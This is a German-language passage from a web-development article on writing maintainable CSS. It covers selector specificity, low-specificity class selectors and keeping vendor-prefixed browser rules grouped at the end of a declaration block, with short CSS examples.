Ein ähnlicher Wettkampf beginnt, wenn Sie zu spezifische Selektoren verwenden. Spezifität bedeutet, dass ein bestimmter Selektor definiert, welche Stile auf ein Element angewendet werden. Wenn Sie also für dasselbe Dokument einmal p{color:#000;} und einmal #main p{color:#ccc;} notieren, werden alle Abschnitte im Element mit der ID #main hellgrau sein, nicht schwarz, weil der #main-Selektor die Vorgabe spezifischer macht.

Die Folge: Jedesmal wenn eine mit der Pflege des Codes betraute Person, ein so genannter Maintainer, einen neuen Stil hinzufügen möchte, muss zusätzlich zum Selektor obendrein ein weiteres Element eingefügt werden – eine Klasse oder eine ID, um das neue Aussehen realisieren zu können. Um das Leben der anderen einfacher zu machen, sollten Sie versuchen, die Spezifität Ihrer Selektoren möglichst gering zu halten. Überlassen Sie die Definition der „krummen Kandidaten“ den späteren Hütern des Codes. Auf diese Weise unterstützen Sie die Wiederverwendung von Selektoren. Ein div.warning{color:#c00;background:#fcc} lässt sich nur auf DIVs anwenden, während ein Maintainer die Klasse warning auch einem Listenelement zuweisen könnte, wenn Sie stattdessen lediglich .warning{color:#c00;background:#fcc} definiert hätten.

Browserspezifische Hacks und Technologien verwenden

Nur weil gerade etwas cool ist und sehr beeindruckend aussieht, ist es noch lange nicht reif für den flächendeckenden Einsatz noch dass es in einem Jahr noch immer cool ist. IE6 hat eine atemberaubende Anzahl herstellerspezifischer CSS-Erweiterungen als es neu herauskam. So konnten Sie beispielsweise bereits 1999 HTML-Inhalte mithilfe eines IE-spezifischen Filters rotieren. Zur Zeit macht Webkit/Chrome dasselbe.

Es gibt eine ganze Reihe cooler CSS-Tricks, die auf einem iPad oder iPhone sehr beeindruckend aussehen. Auf anderen Browsern als Safari laufen sie jedoch nicht; zudem sind sie auf sehr langsamen Computern eher störend als hilfreich. Bevor Sie sich von den Möglichkeiten eines geschlossenen Systems begeistern lassen und behaupten, dies sei das Web, unternehmen Sie ein paar Tests außerhalb Ihrer Komfortzone und wenden Sie die neuen Möglichkeiten nur dann an, wenn sie außerhalb dieser Zone funktionieren.

Stichwort Wartung – es könnte eine gute Idee sein, browserspezifische Vorgaben am Ende einer Einstellung zu notieren statt quer im Code. Ein Beispiel:

#message{
  width:90%;
  padding:.5em;
  font-size:110%;
  font-weight:bold;
  border:2px solid #000;
  border-radius:10px;

  /* Firefox */
  -moz-border-radius:10px;
  -moz-box-shadow:4px 4px 4px rgba(33,33,33,.4);

  /* Safari / Chrome */
  -webkit-border-radius:10px;
}

Diese Schreibweise macht es einfach, herstellerspezifische Regeln später zu entfernen, wenn einst alle Browser die Standards unterstützen und das Standard-Konsortium sich schon bald darauf geeinigt hat, was Standard sein wird und was nicht (und wenn Schweine dereinst fliegen können).